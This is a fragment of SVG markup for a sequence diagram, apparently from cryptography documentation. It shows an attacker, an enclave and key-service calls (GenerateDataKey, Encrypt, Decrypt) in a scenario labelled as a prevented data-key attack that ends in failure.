<text text-anchor="middle" x="304" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="148" fill="currentColor">=</text>
<text text-anchor="middle" x="304" y="164" fill="currentColor">2</text>
<text text-anchor="middle" x="304" y="308" fill="currentColor">y</text>
<text text-anchor="middle" x="304" y="420" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="564" fill="currentColor">y</text>
<text text-anchor="middle" x="304" y="676" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="84" fill="currentColor">n</text>
<text text-anchor="middle" x="312" y="148" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="164" fill="currentColor">=</text>
<text text-anchor="middle" x="312" y="308" fill="currentColor">p</text>
<text text-anchor="middle" x="312" y="420" fill="currentColor">c</text>
<text text-anchor="middle" x="312" y="564" fill="currentColor">p</text>
<text text-anchor="middle" x="312" y="676" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="148" fill="currentColor">n</text>
<text text-anchor="middle" x="320" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="320" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="420" fill="currentColor">(</text>
<text text-anchor="middle" x="320" y="564" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="676" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="84" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="148" fill="currentColor">c</text>
<text text-anchor="middle" x="328" y="164" fill="currentColor">n</text>
<text text-anchor="middle" x="328" y="308" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="328" y="564" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="676" fill="currentColor">d</text>
<text text-anchor="middle" x="336" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="148" fill="currentColor">(</text>
<text text-anchor="middle" x="336" y="164" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="308" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="420" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="564" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="676" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="692" fill="currentColor">P</text>
<text text-anchor="middle" x="344" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="84" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="148" fill="currentColor">d</text>
<text text-anchor="middle" x="344" y="164" fill="currentColor">(</text>
<text text-anchor="middle" x="344" y="308" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="356" fill="currentColor">{</text>
<text text-anchor="middle" x="344" y="420" fill="currentColor">,</text>
<text text-anchor="middle" x="344" y="564" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="612" fill="currentColor">{</text>
<text text-anchor="middle" x="344" y="676" fill="currentColor">,</text>
<text text-anchor="middle" x="344" y="692" fill="currentColor">2</text>
<text text-anchor="middle" x="352" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="148" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="164" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="308" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="356" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="420" fill="currentColor">C</text>
<text text-anchor="middle" x="352" y="564" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="612" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="676" fill="currentColor">C</text>
<text text-anchor="middle" x="360" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="148" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="164" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="308" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="356" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="420" fill="currentColor">)</text>
<text text-anchor="middle" x="360" y="564" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="612" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="676" fill="currentColor">2</text>
<text text-anchor="middle" x="360" y="692" fill="currentColor">≠</text>
<text text-anchor="middle" x="368" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="368" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="368" y="148" fill="currentColor">P</text>
<text text-anchor="middle" x="368" y="164" fill="currentColor">,</text>
<text text-anchor="middle" x="368" y="308" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="356" fill="currentColor">}</text>
<text text-anchor="middle" x="368" y="564" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="612" fill="currentColor">}</text>
<text text-anchor="middle" x="368" y="676" fill="currentColor">)</text>
<text text-anchor="middle" x="376" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="376" y="148" fill="currentColor">)</text>
<text text-anchor="middle" x="376" y="164" fill="currentColor">P</text>
<text text-anchor="middle" x="376" y="308" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="564" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="692" fill="currentColor">P</text>
<text text-anchor="middle" x="384" y="36" fill="currentColor">y</text>
<text text-anchor="middle" x="384" y="84" fill="currentColor">)</text>
<text text-anchor="middle" x="384" y="164" fill="currentColor">2</text>
<text text-anchor="middle" x="384" y="308" fill="currentColor">,</text>
<text text-anchor="middle" x="384" y="564" fill="currentColor">,</text>
<text text-anchor="middle" x="392" y="36" fill="currentColor">(</text>
<text text-anchor="middle" x="392" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="392" y="164" fill="currentColor">)</text>
<text text-anchor="middle" x="392" y="308" fill="currentColor">E</text>
<text text-anchor="middle" x="392" y="564" fill="currentColor">E</text>
<text text-anchor="middle" x="400" y="36" fill="currentColor">c</text>
<text text-anchor="middle" x="400" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="400" y="308" fill="currentColor">)</text>
<text text-anchor="middle" x="400" y="420" fill="currentColor">P</text>
<text text-anchor="middle" x="400" y="564" fill="currentColor">)</text>
<text text-anchor="middle" x="408" y="36" fill="currentColor">m</text>
<text text-anchor="middle" x="408" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="36" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="84" fill="currentColor">}</text>
<text text-anchor="middle" x="424" y="36" fill="currentColor">_</text>
<text text-anchor="middle" x="432" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="440" y="36" fill="currentColor">d</text>
<text text-anchor="middle" x="448" y="36" fill="currentColor">)</text>
<text text-anchor="middle" x="464" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="472" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="480" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>

</div>


<label class="tabs__label" for="tabs-6-1">Prevented</label>
<div class="tabs__panel">

<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 512 777">
 <g transform="translate(8,16)">
<path d="M 256,48 L 472,48" fill="none" stroke="currentColor"></path>
<path d="M 264,96 L 272,96" fill="none" stroke="currentColor"></path>
<path d="M 288,96 L 296,96" fill="none" stroke="currentColor"></path>
<path d="M 304,96 L 312,96" fill="none" stroke="currentColor"></path>
<path d="M 320,96 L 328,96" fill="none" stroke="currentColor"></path>
<path d="M 336,96 L 344,96" fill="none" stroke="currentColor"></path>
<path d="M 352,96 L 360,96" fill="none" stroke="currentColor"></path>
<path d="M 368,96 L 376,96" fill="none" stroke="currentColor"></path>
<path d="M 384,96 L 392,96" fill="none" stroke="currentColor"></path>
<path d="M 400,96 L 408,96" fill="none" stroke="currentColor"></path>
<path d="M 416,96 L 424,96" fill="none" stroke="currentColor"></path>
<path d="M 432,96 L 440,96" fill="none" stroke="currentColor"></path>
<path d="M 448,96 L 456,96" fill="none" stroke="currentColor"></path>
<path d="M 464,96 L 472,96" fill="none" stroke="currentColor"></path>
<path d="M 256,128 L 280,128" fill="none" stroke="currentColor"></path>
<path d="M 264,176 L 280,176" fill="none" stroke="currentColor"></path>
<path d="M 56,224 L 256,224" fill="none" stroke="currentColor"></path>
<path d="M 56,272 L 64,272" fill="none" stroke="currentColor"></path>
<path d="M 72,272 L 80,272" fill="none" stroke="currentColor"></path>
<path d="M 88,272 L 96,272" fill="none" stroke="currentColor"></path>
<path d="M 104,272 L 112,272" fill="none" stroke="currentColor"></path>
<path d="M 120,272 L 128,272" fill="none" stroke="currentColor"></path>
<path d="M 136,272 L 144,272" fill="none" stroke="currentColor"></path>
<path d="M 152,272 L 160,272" fill="none" stroke="currentColor"></path>
<path d="M 168,272 L 176,272" fill="none" stroke="currentColor"></path>
<path d="M 184,272 L 192,272" fill="none" stroke="currentColor"></path>
<path d="M 200,272 L 208,272" fill="none" stroke="currentColor"></path>
<path d="M 216,272 L 224,272" fill="none" stroke="currentColor"></path>
<path d="M 232,272 L 248,272" fill="none" stroke="currentColor"></path>
<path d="M 256,320 L 472,320" fill="none" stroke="currentColor"></path>
<path d="M 264,368 L 272,368" fill="none" stroke="currentColor"></path>
<path d="M 288,368 L 296,368" fill="none" stroke="currentColor"></path>
<path d="M 304,368 L 312,368" fill="none" stroke="currentColor"></path>
<path d="M 320,368 L 328,368" fill="none" stroke="currentColor"></path>
<path d="M 336,368 L 344,368" fill="none" stroke="currentColor"></path>
<path d="M 352,368 L 360,368" fill="none" stroke="currentColor"></path>
<path d="M 368,368 L 376,368" fill="none" stroke="currentColor"></path>
<path d="M 384,368 L 392,368" fill="none" stroke="currentColor"></path>
<path d="M 400,368 L 408,368" fill="none" stroke="currentColor"></path>
<path d="M 416,368 L 424,368" fill="none" stroke="currentColor"></path>
<path d="M 432,368 L 440,368" fill="none" stroke="currentColor"></path>
<path d="M 448,368 L 456,368" fill="none" stroke="currentColor"></path>
<path d="M 464,368 L 472,368" fill="none" stroke="currentColor"></path>
<path d="M 256,400 L 280,400" fill="none" stroke="currentColor"></path>
<path d="M 400,416 L 408,416" fill="none" stroke="currentColor"></path>
<path d="M 264,432 L 280,432" fill="none" stroke="currentColor"></path>
<path d="M 0,464 L 48,464" fill="none" stroke="currentColor"></path>
<path d="M 48,464 L 104,464" fill="none" stroke="currentColor"></path>
<path d="M 280,464 L 480,464" fill="none" stroke="currentColor"></path>
<path d="M 480,464 L 496,464" fill="none" stroke="currentColor"></path>
<path d="M 56,528 L 64,528" fill="none" stroke="currentColor"></path>
<path d="M 72,528 L 80,528" fill="none" stroke="currentColor"></path>
<path d="M 88,528 L 96,528" fill="none" stroke="currentColor"></path>
<path d="M 104,528 L 112,528" fill="none" stroke="currentColor"></path>
<path d="M 120,528 L 128,528" fill="none" stroke="currentColor"></path>
<path d="M 136,528 L 144,528" fill="none" stroke="currentColor"></path>
<path d="M 152,528 L 160,528" fill="none" stroke="currentColor"></path>
<path d="M 168,528 L 176,528" fill="none" stroke="currentColor"></path>
<path d="M 184,528 L 192,528" fill="none" stroke="currentColor"></path>
<path d="M 200,528 L 208,528" fill="none" stroke="currentColor"></path>
<path d="M 216,528 L 224,528" fill="none" stroke="currentColor"></path>
<path d="M 232,528 L 248,528" fill="none" stroke="currentColor"></path>
<path d="M 256,576 L 472,576" fill="none" stroke="currentColor"></path>
<path d="M 264,624 L 272,624" fill="none" stroke="currentColor"></path>
<path d="M 288,624 L 296,624" fill="none" stroke="currentColor"></path>
<path d="M 304,624 L 312,624" fill="none" stroke="currentColor"></path>
<path d="M 320,624 L 328,624" fill="none" stroke="currentColor"></path>
<path d="M 336,624 L 344,624" fill="none" stroke="currentColor"></path>
<path d="M 352,624 L 360,624" fill="none" stroke="currentColor"></path>
<path d="M 368,624 L 376,624" fill="none" stroke="currentColor"></path>
<path d="M 384,624 L 392,624" fill="none" stroke="currentColor"></path>
<path d="M 400,624 L 408,624" fill="none" stroke="currentColor"></path>
<path d="M 416,624 L 424,624" fill="none" stroke="currentColor"></path>
<path d="M 432,624 L 440,624" fill="none" stroke="currentColor"></path>
<path d="M 448,624 L 456,624" fill="none" stroke="currentColor"></path>
<path d="M 464,624 L 472,624" fill="none" stroke="currentColor"></path>
<path d="M 256,656 L 280,656" fill="none" stroke="currentColor"></path>
<path d="M 312,688 L 320,688" fill="none" stroke="currentColor"></path>
<path d="M 264,704 L 280,704" fill="none" stroke="currentColor"></path>
<path d="M 0,736 L 48,736" fill="none" stroke="currentColor"></path>
<path d="M 48,736 L 256,736" fill="none" stroke="currentColor"></path>
<path d="M 256,736 L 480,736" fill="none" stroke="currentColor"></path>
<path d="M 480,736 L 496,736" fill="none" stroke="currentColor"></path>
<path d="M 0,464 L 0,736" fill="none" stroke="currentColor"></path>
<path d="M 48,16 L 48,464" fill="none" stroke="currentColor"></path>
<path d="M 48,464 L 48,736" fill="none" stroke="currentColor"></path>
<path d="M 48,736 L 48,752" fill="none" stroke="currentColor"></path>
<path d="M 256,16 L 256,48" fill="none" stroke="currentColor"></path>
<path d="M 256,48 L 256,128" fill="none" stroke="currentColor"></path>
<path d="M 256,128 L 256,224" fill="none" stroke="currentColor"></path>
<path d="M 256,224 L 256,320" fill="none" stroke="currentColor"></path>
<path d="M 256,320 L 256,400" fill="none" stroke="currentColor"></path>
<path d="M 256,400 L 256,448" fill="none" stroke="currentColor"></path>
<path d="M 256,480 L 256,576" fill="none" stroke="currentColor"></path>
<path d="M 256,576 L 256,656" fill="none" stroke="currentColor"></path>
<path d="M 256,656 L 256,736" fill="none" stroke="currentColor"></path>
<path d="M 256,736 L 256,752" fill="none" stroke="currentColor"></path>
<path d="M 280,128 L 280,176" fill="none" stroke="currentColor"></path>
<path d="M 280,400 L 280,432" fill="none" stroke="currentColor"></path>
<path d="M 280,656 L 280,704" fill="none" stroke="currentColor"></path>
<path d="M 480,16 L 480,464" fill="none" stroke="currentColor"></path>
<path d="M 480,464 L 480,736" fill="none" stroke="currentColor"></path>
<path d="M 480,736 L 480,752" fill="none" stroke="currentColor"></path>
<path d="M 496,464 L 496,736" fill="none" stroke="currentColor"></path>
<polygon points="64.000000,224.000000 52.000000,218.399994 52.000000,229.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 224.000000)"></polygon>
<polygon points="256.000000,272.000000 244.000000,266.399994 244.000000,277.600006" fill="currentColor" transform="rotate(0.000000, 248.000000, 272.000000)"></polygon>
<polygon points="256.000000,528.000000 244.000000,522.400024 244.000000,533.599976" fill="currentColor" transform="rotate(0.000000, 248.000000, 528.000000)"></polygon>
<polygon points="272.000000,96.000000 260.000000,90.400002 260.000000,101.599998" fill="currentColor" transform="rotate(180.000000, 264.000000, 96.000000)"></polygon>
<polygon points="272.000000,176.000000 260.000000,170.399994 260.000000,181.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 176.000000)"></polygon>
<polygon points="272.000000,368.000000 260.000000,362.399994 260.000000,373.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 368.000000)"></polygon>
<polygon points="272.000000,432.000000 260.000000,426.399994 260.000000,437.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 432.000000)"></polygon>
<polygon points="272.000000,624.000000 260.000000,618.400024 260.000000,629.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 624.000000)"></polygon>
<polygon points="272.000000,704.000000 260.000000,698.400024 260.000000,709.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 704.000000)"></polygon>
<polygon points="328.000000,688.000000 316.000000,682.400024 316.000000,693.599976" fill="currentColor" transform="rotate(0.000000, 320.000000, 688.000000)"></polygon>
<polygon points="416.000000,416.000000 404.000000,410.399994 404.000000,421.600006" fill="currentColor" transform="rotate(0.000000, 408.000000, 416.000000)"></polygon>
<polygon points="480.000000,48.000000 468.000000,42.400002 468.000000,53.599998" fill="currentColor" transform="rotate(0.000000, 472.000000, 48.000000)"></polygon>
<polygon points="480.000000,320.000000 468.000000,314.399994 468.000000,325.600006" fill="currentColor" transform="rotate(0.000000, 472.000000, 320.000000)"></polygon>
<polygon points="480.000000,576.000000 468.000000,570.400024 468.000000,581.599976" fill="currentColor" transform="rotate(0.000000, 472.000000, 576.000000)"></polygon>
<text text-anchor="middle" x="16" y="4" fill="currentColor">A</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="56" y="4" fill="currentColor">k</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="72" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="72" y="260" fill="currentColor">(</text>
<text text-anchor="middle" x="72" y="500" fill="currentColor">(</text>
<text text-anchor="middle" x="80" y="260" fill="currentColor">E</text>
<text text-anchor="middle" x="80" y="500" fill="currentColor">E</text>
<text text-anchor="middle" x="88" y="212" fill="currentColor">s</text>
<text text-anchor="middle" x="88" y="260" fill="currentColor">,</text>
<text text-anchor="middle" x="88" y="500" fill="currentColor">,</text>
<text text-anchor="middle" x="88" y="516" fill="currentColor">i</text>
<text text-anchor="middle" x="96" y="212" fill="currentColor">t</text>
<text text-anchor="middle" x="96" y="260" fill="currentColor">E</text>
<text text-anchor="middle" x="96" y="500" fill="currentColor">E</text>
<text text-anchor="middle" x="96" y="516" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="212" fill="currentColor">o</text>
<text text-anchor="middle" x="104" y="260" fill="currentColor">C</text>
<text text-anchor="middle" x="104" y="500" fill="currentColor">C</text>
<text text-anchor="middle" x="104" y="516" fill="currentColor">s</text>
<text text-anchor="middle" x="112" y="212" fill="currentColor">r</text>
<text text-anchor="middle" x="112" y="260" fill="currentColor">,</text>
<text text-anchor="middle" x="112" y="500" fill="currentColor">,</text>
<text text-anchor="middle" x="112" y="516" fill="currentColor">t</text>
<text text-anchor="middle" x="120" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="120" y="260" fill="currentColor">C</text>
<text text-anchor="middle" x="120" y="468" fill="currentColor">D</text>
<text text-anchor="middle" x="120" y="500" fill="currentColor">C</text>
<text text-anchor="middle" x="120" y="516" fill="currentColor">e</text>
<text text-anchor="middle" x="128" y="212" fill="currentColor">(</text>
<text text-anchor="middle" x="128" y="260" fill="currentColor">)</text>
<text text-anchor="middle" x="128" y="468" fill="currentColor">K</text>
<text text-anchor="middle" x="128" y="500" fill="currentColor">2</text>
<text text-anchor="middle" x="128" y="516" fill="currentColor">a</text>
<text text-anchor="middle" x="136" y="212" fill="currentColor">E</text>
<text text-anchor="middle" x="136" y="500" fill="currentColor">)</text>
<text text-anchor="middle" x="136" y="516" fill="currentColor">d</text>
<text text-anchor="middle" x="144" y="212" fill="currentColor">,</text>
<text text-anchor="middle" x="144" y="468" fill="currentColor">a</text>
<text text-anchor="middle" x="152" y="212" fill="currentColor">C</text>
<text text-anchor="middle" x="152" y="468" fill="currentColor">t</text>
<text text-anchor="middle" x="152" y="516" fill="currentColor">o</text>
<text text-anchor="middle" x="160" y="212" fill="currentColor">,</text>
<text text-anchor="middle" x="160" y="468" fill="currentColor">t</text>
<text text-anchor="middle" x="160" y="516" fill="currentColor">f</text>
<text text-anchor="middle" x="168" y="212" fill="currentColor">C</text>
<text text-anchor="middle" x="168" y="468" fill="currentColor">a</text>
<text text-anchor="middle" x="176" y="212" fill="currentColor">2</text>
<text text-anchor="middle" x="176" y="468" fill="currentColor">c</text>
<text text-anchor="middle" x="176" y="516" fill="currentColor">(</text>
<text text-anchor="middle" x="184" y="212" fill="currentColor">)</text>
<text text-anchor="middle" x="184" y="468" fill="currentColor">k</text>
<text text-anchor="middle" x="184" y="516" fill="currentColor">E</text>
<text text-anchor="middle" x="192" y="516" fill="currentColor">,</text>
<text text-anchor="middle" x="200" y="468" fill="currentColor">p</text>
<text text-anchor="middle" x="200" y="516" fill="currentColor">E</text>
<text text-anchor="middle" x="208" y="468" fill="currentColor">r</text>
<text text-anchor="middle" x="208" y="516" fill="currentColor">C</text>
<text text-anchor="middle" x="216" y="468" fill="currentColor">e</text>
<text text-anchor="middle" x="216" y="516" fill="currentColor">,</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="224" y="468" fill="currentColor">v</text>
<text text-anchor="middle" x="224" y="516" fill="currentColor">C</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="232" y="468" fill="currentColor">e</text>
<text text-anchor="middle" x="232" y="516" fill="currentColor">)</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="240" y="468" fill="currentColor">n</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="248" y="468" fill="currentColor">t</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="256" y="468" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="264" y="468" fill="currentColor">d</text>
<text text-anchor="middle" x="272" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="272" y="36" fill="currentColor">G</text>
<text text-anchor="middle" x="272" y="308" fill="currentColor">D</text>
<text text-anchor="middle" x="272" y="564" fill="currentColor">D</text>
<text text-anchor="middle" x="280" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="84" fill="currentColor">{</text>
<text text-anchor="middle" x="280" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="564" fill="currentColor">e</text>
<text text-anchor="middle" x="288" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="288" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="288" y="308" fill="currentColor">c</text>
<text text-anchor="middle" x="288" y="564" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="84" fill="currentColor">=</text>
<text text-anchor="middle" x="296" y="148" fill="currentColor">C</text>
<text text-anchor="middle" x="296" y="164" fill="currentColor">C</text>
<text text-anchor="middle" x="296" y="308" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="296" y="564" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="676" fill="currentColor">d</text>
<text text-anchor="middle" x="304" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="148" fill="currentColor">=</text>
<text text-anchor="middle" x="304" y="164" fill="currentColor">2</text>
<text text-anchor="middle" x="304" y="308" fill="currentColor">y</text>
<text text-anchor="middle" x="304" y="420" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="564" fill="currentColor">y</text>
<text text-anchor="middle" x="304" y="676" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="84" fill="currentColor">n</text>
<text text-anchor="middle" x="312" y="148" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="164" fill="currentColor">=</text>
<text text-anchor="middle" x="312" y="308" fill="currentColor">p</text>
<text text-anchor="middle" x="312" y="420" fill="currentColor">c</text>
<text text-anchor="middle" x="312" y="564" fill="currentColor">p</text>
<text text-anchor="middle" x="312" y="676" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="148" fill="currentColor">n</text>
<text text-anchor="middle" x="320" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="320" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="420" fill="currentColor">(</text>
<text text-anchor="middle" x="320" y="564" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="676" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="84" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="148" fill="currentColor">c</text>
<text text-anchor="middle" x="328" y="164" fill="currentColor">n</text>
<text text-anchor="middle" x="328" y="308" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="328" y="564" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="676" fill="currentColor">d</text>
<text text-anchor="middle" x="336" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="148" fill="currentColor">(</text>
<text text-anchor="middle" x="336" y="164" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="308" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="420" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="564" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="676" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="692" fill="currentColor">F</text>
<text text-anchor="middle" x="344" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="84" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="148" fill="currentColor">d</text>
<text text-anchor="middle" x="344" y="164" fill="currentColor">(</text>
<text text-anchor="middle" x="344" y="308" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="356" fill="currentColor">{</text>
<text text-anchor="middle" x="344" y="420" fill="currentColor">,</text>
<text text-anchor="middle" x="344" y="564" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="612" fill="currentColor">{</text>
<text text-anchor="middle" x="344" y="676" fill="currentColor">,</text>
<text text-anchor="middle" x="344" y="692" fill="currentColor">A</text>
<text text-anchor="middle" x="352" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="148" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="164" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="308" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="356" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="420" fill="currentColor">C</text>
<text text-anchor="middle" x="352" y="564" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="612" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="676" fill="currentColor">C</text>
<text text-anchor="middle" x="352" y="692" fill="currentColor">I</text>
<text text-anchor="middle" x="360" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="148" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="164" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="308" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="356" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="420" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="564" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="612" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="676" fill="currentColor">2</text>
<text text-anchor="middle" x="360" y="692" fill="currentColor">L</text>
<text text-anchor="middle" x="368" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="368" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="368" y="148" fill="currentColor">P</text>
<text text-anchor="middle" x="368" y="164" fill="currentColor">,</text>
<text text-anchor="middle" x="368" y="308" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="356" fill="currentColor">}</text>
<text text-anchor="middle" x="368" y="420" fill="currentColor">E</text>
<text text-anchor="middle" x="368" y="564" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="612" fill="currentColor">}</text>
<text text-anchor="middle" x="368" y="676" fill="currentColor">,</text>
<text text-anchor="middle" x="368" y="692" fill="currentColor">U</text>
<text text-anchor="middle" x="376" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="376" y="148" fill="currentColor">,</text>
<text text-anchor="middle" x="376" y="164" fill="currentColor">P</text>
<text text-anchor="middle" x="376" y="308" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="420" fill="currentColor">C</text>
<text text-anchor="middle" x="376" y="564" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="676" fill="currentColor">E</text>
<text text-anchor="middle" x="376" y="692" fill="currentColor">R</text>
<text text-anchor="middle" x="384" y="36" fill="currentColor">y</text>
<text text-anchor="middle" x="384" y="84" fill="currentColor">)</text>
<text text-anchor="middle" x="384" y="148" fill="currentColor">E</text>
<text text-anchor="middle" x="384" y="164" fill="currentColor">2</text>
<text text-anchor="middle" x="384" y="308" fill="currentColor">,</text>
<text text-anchor="middle" x="384" y="420" fill="currentColor">)</text>
<text text-anchor="middle" x="384" y="564" fill="currentColor">,</text>
<text text-anchor="middle" x="384" y="676" fill="currentColor">C</text>
<text text-anchor="middle" x="384" y="692" fill="currentColor">E</text>
<text text-anchor="middle" x="392" y="36" fill="currentColor">(</text>
<text text-anchor="middle" x="392" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="392" y="148" fill="currentColor">C</text>
<text text-anchor="middle" x="392" y="164" fill="currentColor">,</text>
